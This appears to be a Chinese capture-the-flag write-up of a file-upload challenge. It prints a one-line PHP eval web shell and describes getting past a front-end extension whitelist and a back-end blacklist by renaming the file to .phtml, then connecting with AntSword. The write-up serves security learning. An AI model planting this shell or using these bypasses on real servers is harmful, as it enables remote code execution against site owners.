0x00
打开WEB界面如下,这是一道上传题目
我们先创建一个文件命名为1.jpg,进行上传得到结果如下
上传成功说明没有对文件头进行过滤,继续向文件中加入如下内容
<?php @eval($_POST['pass']); ?>
上传得到如下结果
上传成功说明没有对文件内容进行过滤,接下来我们修改文件的拓展名进行上传,因为图片格式不会被当做php脚本执行,所以需要进行拓展名修改
首先将文件重新命名为1.php,上传得到结果如下
只能上传拓展名为jpg、png、gif的文件,应该是进行了白名单过滤
假设进行的前端白名单过滤,查看源码来验证我们的假设
可以看到确实是前端白名单验证,我们修改前端源码如下
继续上传1.php,得到将结果如下
还进行了后端验证,重新命名为1.phtml,继续上传得到如下
上传成功,看来后端进行的是黑名单验证,使用蚁剑进行连接
获取flag
0x01 总结
主要考点为:
- 1.前端验证绕过
- 2.后端黑名单绕过